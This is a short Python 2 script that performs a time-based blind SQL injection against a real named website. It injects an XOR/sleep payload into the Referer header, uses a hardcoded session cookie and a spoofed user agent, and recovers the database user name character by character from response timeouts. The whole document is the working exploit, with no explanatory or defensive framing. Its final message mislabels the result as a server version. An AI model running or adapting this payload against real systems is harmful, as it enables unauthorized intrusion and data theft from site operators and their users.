import httplib
 import time
 import string
 import sys
 import random
 import urllib
 
 headers = {
     'Cookie': 'PHPSESSID=2oe34dibm17etfkjn5nqhn2nn1',
     'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
 }
 
 payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
 
 print 'Try to retrive MySQL user:'
 user = ''
 for i in range(1, 15):
     for payload in payloads:
         timeout_count = 0
         for j in range(1, 3):
             try:
                 conn = httplib.HTTPConnection('yun.admin5.com', timeout=2)
                 random.seed()
                 referer = str(random.random()) + "aaa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(1),0))OR'bbb"  % (i, ord(payload))
                 headers['Referer'] = referer
                 conn.request(method='GET', url= '/', headers = headers)
                 conn.getresponse()
                 conn.close()
                 print '.',
                 break
             except:
                 timeout_count += 1
         if timeout_count == 2:    # 2 times to confirm
             user += payload
             print '\n[In Progress]', user 
             break
 
 print '\n[Done], SQL Server version is', user